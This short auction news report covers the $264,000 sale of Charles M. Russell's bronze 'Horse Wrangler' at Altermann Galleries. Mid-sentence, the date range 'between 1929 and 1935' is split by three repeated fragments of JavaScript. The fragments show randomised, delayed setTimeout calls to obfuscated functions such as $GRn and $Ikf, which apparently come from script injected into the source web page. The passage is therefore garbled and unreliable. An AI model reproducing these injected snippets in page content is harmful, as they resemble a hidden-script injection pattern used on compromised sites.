SANTA FE, N.M. — Altermann Galleries & Auctioneers demonstrated its surefooted knowledge of the Western art market with its December 7 sale of “Horse Wrangler” by Charles Marion Russell (1864–1926).

Shown here with company founder Tony Altermann, the 13½-inch-tall bronze depicting Russell atop a favorite horse, Redbird, exceeded high estimate to bring $264,000, including premium. California Art Bronze foundry in Los Angeles cast the work between 1929 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1935. The sculpture is one of 16 examples known, a dozen of which are in institutional collections.

Watch for a full review of Altermann’s December 6–7 sale in an upcoming issue.